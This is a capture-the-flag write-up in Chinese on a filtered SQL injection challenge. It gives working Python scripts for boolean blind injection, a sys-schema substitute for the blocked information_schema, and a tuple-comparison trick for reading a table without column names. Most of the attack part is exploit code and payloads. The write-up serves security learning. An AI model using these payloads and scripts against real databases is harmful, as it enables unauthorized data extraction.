过滤了updatexml,union,
然后就想的用盲注吧
0^(xxxx)#
然后写个脚本跑一下就好
暴库
主要代码
payload="0^(ascii(substr((database()),%d,1))>%d)"%(i,mid)
得到give_grandpa_pa_pa_pa
然后后面爆表的时候就难搞了,过滤了挺多东西的,information,innodb_table_stats,啥的都过滤,然后可以用代替
sys.x$schema_flattened_keys
sys.x$schema_table_statistics_with_buffer
sys.schema_table_statistics_with_buffer
贴一下脚本吧
import requests
url="http://61792969-347a-482a-b444-84041698367f.node3.buuoj.cn/"
name=""
for i in range(1,300):
low=32
high=128
mid=(low+high)//2
while low<high:
print(low,mid,high)
payload="0^(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),%d,1))>%d)"%(i,mid)
data={'id':payload}
r=requests.post(url,data=data)
if "Nu1L" in r.text:
low=mid+1
else:
high=mid
mid=(low+high)//2
name+=chr(mid)
print(name)
if mid==32:
break
得到users233333333333333,f1ag_1s_h3r3_hhhhh
然后后面就来问题了,无列名注,join,union的,被过滤。。。
然后用另一个
先手测一下有几个字段,然后有两个
(select "","")<(select * from f1ag_1s_h3r3_hhhhh)
然后挨着跑吧
import requests
import time
url="http://82dc5521-c797-473c-9399-a2e3b5353cee.node3.buuoj.cn/index.php"
flag=""
for i in range(1,1000):
for j in range(32,128):
z=flag+chr(j)
payload='if(((select "{}","")<(select * from f1ag_1s_h3r3_hhhhh)),1,0)'.format(z)
data={
"id":payload
}
print(data['id'])
r=requests.post(url,data=data)
time.sleep(0.05)
if "Error Occured When Fetch Result." in r.text:
flag+=chr(j-1)
print(flag)
break
if flag[-1]=='/':
break
其中逻辑的话,刚开始肯定都是小于等于的,返回true,当前的大于的时候会返回false,所以chr(j-1),然后 到最后跑完数据库里所有的时候,你再在后面加(0-9a-zA-Z)一个字符(加特殊字符好像不影响),比较的时候会大于数据库,返回false,而第一个(0-9a-zA-Z)字符chr(48) 是 0,然后chr(48-1)== ‘/’ ,所有当’/'出现的时候说明该字段跑完了
最后跑flag的脚本
import requests
import time
url="http://82dc5521-c797-473c-9399-a2e3b5353cee.node3.buuoj.cn/index.php"
flag=""
for i in range(1,1000):
for j in range(32,128):
z=flag+chr(j)
payload='if(((select "1","{}")<(select * from f1ag_1s_h3r3_hhhhh)),1,0)'.format(z)
data={
"id":payload
}
r=requests.post(url,data=data)
time.sleep(0.05)
if "Error Occured When Fetch Result." in r.text:
flag+=chr(j-1)
print(flag)
break
if flag[-1]=='/':
break
这个题有个温柔的地方就是他字段里都只有一个值,而且limit过滤了,如果多个的话,这个方法也用不了。。。。。。。
不然的话也不能那样用,会报错的。
但是有多列的话,就用limit就好。
然后也是总结一下这个方法的一些情况吧
1和字符串比较时,1都大于字符串
0,负数和字符串比较时,都小于字符串